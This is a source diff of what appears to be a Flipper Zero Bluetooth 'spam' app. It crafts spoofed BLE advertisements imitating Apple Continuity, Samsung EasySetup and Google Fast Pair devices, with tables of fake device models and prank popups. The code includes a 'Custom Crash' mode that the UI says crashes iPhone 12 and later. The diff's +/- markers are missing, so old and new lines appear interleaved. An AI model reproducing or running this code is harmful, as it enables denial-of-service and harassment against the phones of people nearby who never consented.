break;
}
}
if(!prefix_name) {
snprintf(
prefix_name_buf,
sizeof(prefix_name_buf),
"%02X",
cfg->data.proximity_pair.prefix);
prefix_name = prefix_name_buf;
value_index = pp_prefixes_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, prefix_name);
break;
}
case ContinuityTypeNearbyAction: {
item = variable_item_list_add(
list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
const char* action_name = NULL;
char action_name_buf[3];
if(cfg->data.nearby_action.action == 0x00) {
action_name = "Random";
value_index = 0;
} else {
for(uint8_t i = 0; i < na_actions_count; i++) {
if(cfg->data.nearby_action.action == na_actions[i].value) {
action_name = na_actions[i].name;
value_index = i + 1;
break;
}
}
if(!action_name) {
snprintf(
action_name_buf,
sizeof(action_name_buf),
"%02X",
cfg->data.nearby_action.action);
action_name = action_name_buf;
value_index = na_actions_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, action_name);
item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
const char* flags_name = NULL;
char flags_name_buf[3];
if(cfg->data.nearby_action.flags == 0x00) {
flags_name = "Auto";
} else {
snprintf(
flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
flags_name = flags_name_buf;
}
variable_item_set_current_value_text(item, flags_name);
break;
}
case ContinuityTypeCustomCrash: {
variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
break;
}
default:
break;
}
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_counts[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = 0,
[ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
[ContinuityTypeAirplayTarget] = 0,
[ContinuityTypeHandoff] = 0,
[ContinuityTypeTetheringSource] = 0,
[ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
[ContinuityTypeNearbyInfo] = 0,
[ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
};
static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
const ContinuityCfg* cfg = &_cfg->continuity;
return config_counts[cfg->type];
}
const Protocol protocol_continuity = {
.icon = &I_apple,
.get_name = continuity_get_name,
.make_packet = continuity_make_packet,
.extra_config = continuity_extra_config,
.config_count = continuity_config_count,
};
static void pp_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
switch(index) {
case 0:
cfg->data.proximity_pair.model = 0x0000;
scene_manager_previous_scene(ctx->scene_manager);
break;
case pp_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
break;
default:
cfg->data.proximity_pair.model = pp_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_pp_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
if(cfg->data.proximity_pair.model == 0x0000) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < pp_models_count; i++) {
submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
if(!found) {
found = true;
selected = pp_models_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
}
static void pp_prefix_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
switch(index) {
case 0:
cfg->data.proximity_pair.prefix = 0x00;
scene_manager_previous_scene(ctx->scene_manager);
break;
case pp_prefixes_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
break;
default:
cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_pp_prefix_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
if(cfg->data.proximity_pair.prefix == 0x00) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
if(!found) {
found = true;
selected = pp_prefixes_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_prefix_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void pp_prefix_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Prefix");
ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
}
static void na_action_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
switch(index) {
case 0:
cfg->data.nearby_action.action = 0x00;
scene_manager_previous_scene(ctx->scene_manager);
break;
case na_actions_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
break;
default:
cfg->data.nearby_action.action = na_actions[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_continuity_na_action_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
if(cfg->data.nearby_action.action == 0x00) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < na_actions_count; i++) {
submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
if(!found) {
found = true;
selected = na_actions_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_na_action_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void na_action_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_action_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Action Type");
ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_continuity_na_action_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
}
static void na_flags_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_continuity_na_flags_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Press back for automatic");
ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
Ctx* ctx = _ctx;
if(event.type == SceneManagerEventTypeBack) {
ctx->byte_store[0] = 0x00;
}
return false;
}
void scene_continuity_na_flags_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
}

View File

@@ -16,21 +16,21 @@ typedef enum {
ContinuityTypeNearbyInfo = 0x10,
ContinuityTypeCustomCrash,
ContinuityTypeCount
ContinuityTypeCOUNT
} ContinuityType;
typedef struct {
ContinuityType type;
union {
struct {
uint8_t prefix;
uint16_t model;
uint8_t prefix;
} proximity_pair;
struct {
uint8_t action;
uint8_t flags;
uint8_t type;
} nearby_action;
} data;
} ContinuityCfg;
extern const BleSpamProtocol ble_spam_protocol_continuity;
extern const Protocol protocol_continuity;

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@@ -0,0 +1,7 @@
ADD_SCENE(continuity_pp_model, ContinuityPpModel)
ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom)
ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix)
ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom)
ADD_SCENE(continuity_na_action, ContinuityNaAction)
ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom)
ADD_SCENE(continuity_na_flags, ContinuityNaFlags)

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@@ -0,0 +1,498 @@
#include "easysetup.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Research by @Spooks4576
const struct {
uint32_t value;
const char* name;
} buds_models[] = {
{0xEE7A0C, "Fallback Buds"},
{0x9D1700, "Fallback Dots"},
{0x39EA48, "Light Purple Buds2"},
{0xA7C62C, "Bluish Silver Buds2"},
{0x850116, "Black Buds Live"},
{0x3D8F41, "Gray & Black Buds2"},
{0x3B6D02, "Bluish Chrome Buds2"},
{0xAE063C, "Gray Beige Buds2"},
{0xB8B905, "Pure White Buds"},
{0xEAAA17, "Pure White Buds2"},
{0xD30704, "Black Buds"},
{0x9DB006, "French Flag Buds"},
{0x101F1A, "Dark Purple Buds Live"},
{0x859608, "Dark Blue Buds"},
{0x8E4503, "Pink Buds"},
{0x2C6740, "White & Black Buds2"},
{0x3F6718, "Bronze Buds Live"},
{0x42C519, "Red Buds Live"},
{0xAE073A, "Black & White Buds2"},
{0x011716, "Sleek Black Buds2"},
};
const uint8_t buds_models_count = COUNT_OF(buds_models);
const struct {
uint8_t value;
const char* name;
} watch_models[] = {
{0x1A, "Fallback Watch"},
{0x01, "White Watch4 Classic 44"},
{0x02, "Black Watch4 Classic 40"},
{0x03, "White Watch4 Classic 40"},
{0x04, "Black Watch4 44mm"},
{0x05, "Silver Watch4 44mm"},
{0x06, "Green Watch4 44mm"},
{0x07, "Black Watch4 40mm"},
{0x08, "White Watch4 40mm"},
{0x09, "Gold Watch4 40mm"},
{0x0A, "French Watch4"},
{0x0B, "French Watch4 Classic"},
{0x0C, "Fox Watch5 44mm"},
{0x11, "Black Watch5 44mm"},
{0x12, "Sapphire Watch5 44mm"},
{0x13, "Purpleish Watch5 40mm"},
{0x14, "Gold Watch5 40mm"},
{0x15, "Black Watch5 Pro 45mm"},
{0x16, "Gray Watch5 Pro 45mm"},
{0x17, "White Watch5 44mm"},
{0x18, "White & Black Watch5"},
{0x1B, "Black Watch6 Pink 40mm"},
{0x1C, "Gold Watch6 Gold 40mm"},
{0x1D, "Silver Watch6 Cyan 44mm"},
{0x1E, "Black Watch6 Classic 43mm"},
{0x20, "Green Watch6 Classic 43mm"},
};
const uint8_t watch_models_count = COUNT_OF(watch_models);
static const char* type_names[EasysetupTypeCOUNT] = {
[EasysetupTypeBuds] = "EasySetup Buds",
[EasysetupTypeWatch] = "EasySetup Watch",
};
static const char* easysetup_get_name(const ProtocolCfg* _cfg) {
const EasysetupCfg* cfg = &_cfg->easysetup;
return type_names[cfg->type];
}
static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
[EasysetupTypeBuds] = 31,
[EasysetupTypeWatch] = 15,
};
void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL;
EasysetupType type;
if(cfg) {
type = cfg->type;
} else {
type = rand() % EasysetupTypeCOUNT;
}
uint8_t size = packet_sizes[type];
uint8_t* packet = malloc(size);
uint8_t i = 0;
switch(type) {
case EasysetupTypeBuds: {
uint32_t model;
if(cfg && cfg->data.buds.model != 0x000000) {
model = cfg->data.buds.model;
} else {
model = buds_models[rand() % buds_models_count].value;
}
packet[i++] = 27; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
packet[i++] = 0x00; // ...
packet[i++] = 0x42;
packet[i++] = 0x09;
packet[i++] = 0x81;
packet[i++] = 0x02;
packet[i++] = 0x14;
packet[i++] = 0x15;
packet[i++] = 0x03;
packet[i++] = 0x21;
packet[i++] = 0x01;
packet[i++] = 0x09;
packet[i++] = (model >> 0x10) & 0xFF;
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = 0x01;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 0x06;
packet[i++] = 0x3C;
packet[i++] = 0x94;
packet[i++] = 0x8E;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0xC7;
packet[i++] = 0x00;
packet[i++] = 16; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
// Truncated AD segment, Android seems to fill in the rest with zeros
break;
}
case EasysetupTypeWatch: {
uint8_t model;
if(cfg && cfg->data.watch.model != 0x00) {
model = cfg->data.watch.model;
} else {
model = watch_models[rand() % watch_models_count].value;
}
packet[i++] = 14; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
packet[i++] = 0x00; // ...
packet[i++] = 0x01;
packet[i++] = 0x00;
packet[i++] = 0x02;
packet[i++] = 0x00;
packet[i++] = 0x01;
packet[i++] = 0x01;
packet[i++] = 0xFF;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x43;
packet[i++] = (model >> 0x00) & 0xFF;
break;
}
default:
break;
}
*out_size = size;
*out_packet = packet;
}
enum {
_ConfigBudsExtraStart = ConfigExtraStart,
ConfigBudsModel,
ConfigBudsInfoVersion,
ConfigBudsCOUNT,
};
enum {
_ConfigWatchExtraStart = ConfigExtraStart,
ConfigWatchModel,
ConfigWatchCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(cfg->type) {
case EasysetupTypeBuds: {
switch(index) {
case ConfigBudsModel:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
break;
case ConfigBudsInfoVersion:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case EasysetupTypeWatch: {
switch(index) {
case ConfigWatchModel:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void buds_model_changed(VariableItem* item) {
EasysetupCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.buds.model = buds_models[index].value;
variable_item_set_current_value_text(item, buds_models[index].name);
} else {
cfg->data.buds.model = 0x000000;
variable_item_set_current_value_text(item, "Random");
}
}
static void watch_model_changed(VariableItem* item) {
EasysetupCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.watch.model = watch_models[index].value;
variable_item_set_current_value_text(item, watch_models[index].name);
} else {
cfg->data.watch.model = 0x00;
variable_item_set_current_value_text(item, "Random");
}
}
static void easysetup_extra_config(Ctx* ctx) {
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
switch(cfg->type) {
case EasysetupTypeBuds: {
item = variable_item_list_add(
list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
const char* model_name = NULL;
char model_name_buf[9];
if(cfg->data.buds.model == 0x000000) {
model_name = "Random";
value_index = 0;
} else {
for(uint8_t i = 0; i < buds_models_count; i++) {
if(cfg->data.buds.model == buds_models[i].value) {
model_name = buds_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
model_name = model_name_buf;
value_index = buds_models_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
break;
}
case EasysetupTypeWatch: {
item = variable_item_list_add(
list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
const char* model_name = NULL;
char model_name_buf[3];
if(cfg->data.watch.model == 0x00) {
model_name = "Random";
value_index = 0;
} else {
for(uint8_t i = 0; i < watch_models_count; i++) {
if(cfg->data.watch.model == watch_models[i].value) {
model_name = watch_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
model_name = model_name_buf;
value_index = watch_models_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
break;
}
default:
break;
}
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_counts[EasysetupTypeCOUNT] = {
[EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
[EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
};
static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) {
const EasysetupCfg* cfg = &_cfg->easysetup;
return config_counts[cfg->type];
}
const Protocol protocol_easysetup = {
.icon = &I_android,
.get_name = easysetup_get_name,
.make_packet = easysetup_make_packet,
.extra_config = easysetup_extra_config,
.config_count = easysetup_config_count,
};
static void buds_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
switch(index) {
case 0:
cfg->data.buds.model = 0x000000;
scene_manager_previous_scene(ctx->scene_manager);
break;
case buds_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
break;
default:
cfg->data.buds.model = buds_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_easysetup_buds_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
if(cfg->data.buds.model == 0x000000) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < buds_models_count; i++) {
submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
if(!found && cfg->data.buds.model == buds_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
if(!found) {
found = true;
selected = buds_models_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_buds_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void buds_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
cfg->data.buds.model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
}
static void watch_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
switch(index) {
case 0:
cfg->data.watch.model = 0x00;
scene_manager_previous_scene(ctx->scene_manager);
break;
case watch_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
break;
default:
cfg->data.watch.model = watch_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_easysetup_watch_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
bool found = false;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
if(cfg->data.watch.model == 0x00) {
found = true;
selected = 0;
}
for(uint8_t i = 0; i < watch_models_count; i++) {
submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
if(!found && cfg->data.watch.model == watch_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
if(!found) {
found = true;
selected = watch_models_count + 1;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_watch_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void watch_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
Ctx* ctx = _ctx;
EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
}

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@@ -0,0 +1,25 @@
#pragma once
#include "_base.h"
// Hacked together by @Willy-JL and @Spooks4576
// Research by @Spooks4576
typedef enum {
EasysetupTypeBuds,
EasysetupTypeWatch,
EasysetupTypeCOUNT,
} EasysetupType;
typedef struct {
EasysetupType type;
union {
struct {
uint32_t model;
} buds;
struct {
uint8_t model;
} watch;
} data;
} EasysetupCfg;
extern const Protocol protocol_easysetup;

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@@ -0,0 +1,4 @@
ADD_SCENE(easysetup_buds_model, EasysetupBudsModel)
ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom)
ADD_SCENE(easysetup_watch_model, EasysetupWatchModel)
ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom)

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@@ -1,44 +1,57 @@
#include "fastpair.h"
#include "_registry.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) {
const FastpairCfg* cfg = &_cfg->fastpair;
UNUSED(cfg);
const struct {
uint32_t value;
const char* name;
} models[] = {
// Genuine devices
{0xCD8256, "Bose NC 700"},
{0xF52494, "JBL Buds Pro"},
{0x718FA4, "JBL Live 300TWS"},
{0x821F66, "JBL Flip 6"},
{0x92BBBD, "Pixel Buds"},
{0xD446A7, "Sony XM5"},
{0x2D7A23, "Sony WF-1000XM4"},
{0x0E30C3, "Razer Hammerhead TWS"},
{0x72EF8D, "Razer Hammerhead TWS X"},
{0x72FB00, "Soundcore Spirit Pro GVA"},
// Custom debug popups
{0xD99CA1, "Flipper Zero"},
{0x77FF67, "Free Robux"},
{0xAA187F, "Free VBucks"},
{0xDCE9EA, "Rickroll"},
{0x87B25F, "Animated Rickroll"},
{0xF38C02, "Boykisser"},
{0x1448C9, "BLM"},
{0xD5AB33, "Xtreme"},
{0x0C0B67, "Xtreme Cta"},
{0x13B39D, "Talking Sasquach"},
{0xAA1FE1, "ClownMaster"},
{0x7C6CDB, "Obama"},
{0x005EF9, "Ryanair"},
{0xE2106F, "FBI"},
{0xB37A62, "Tesla"},
};
const uint8_t models_count = COUNT_OF(models);
static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
UNUSED(_cfg);
return "FastPair";
}
void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
uint32_t model_id;
if(cfg && cfg->model_id != 0x000000) {
model_id = cfg->model_id;
uint32_t model;
if(cfg && cfg->model != 0x000000) {
model = cfg->model;
} else {
const uint32_t models[] = {
// Genuine devices
0xCD8256, // Bose NC 700
0xF52494, // JBL Buds Pro
0x718FA4, // JBL Live 300TWS
0x821F66, // JBL Flip 6
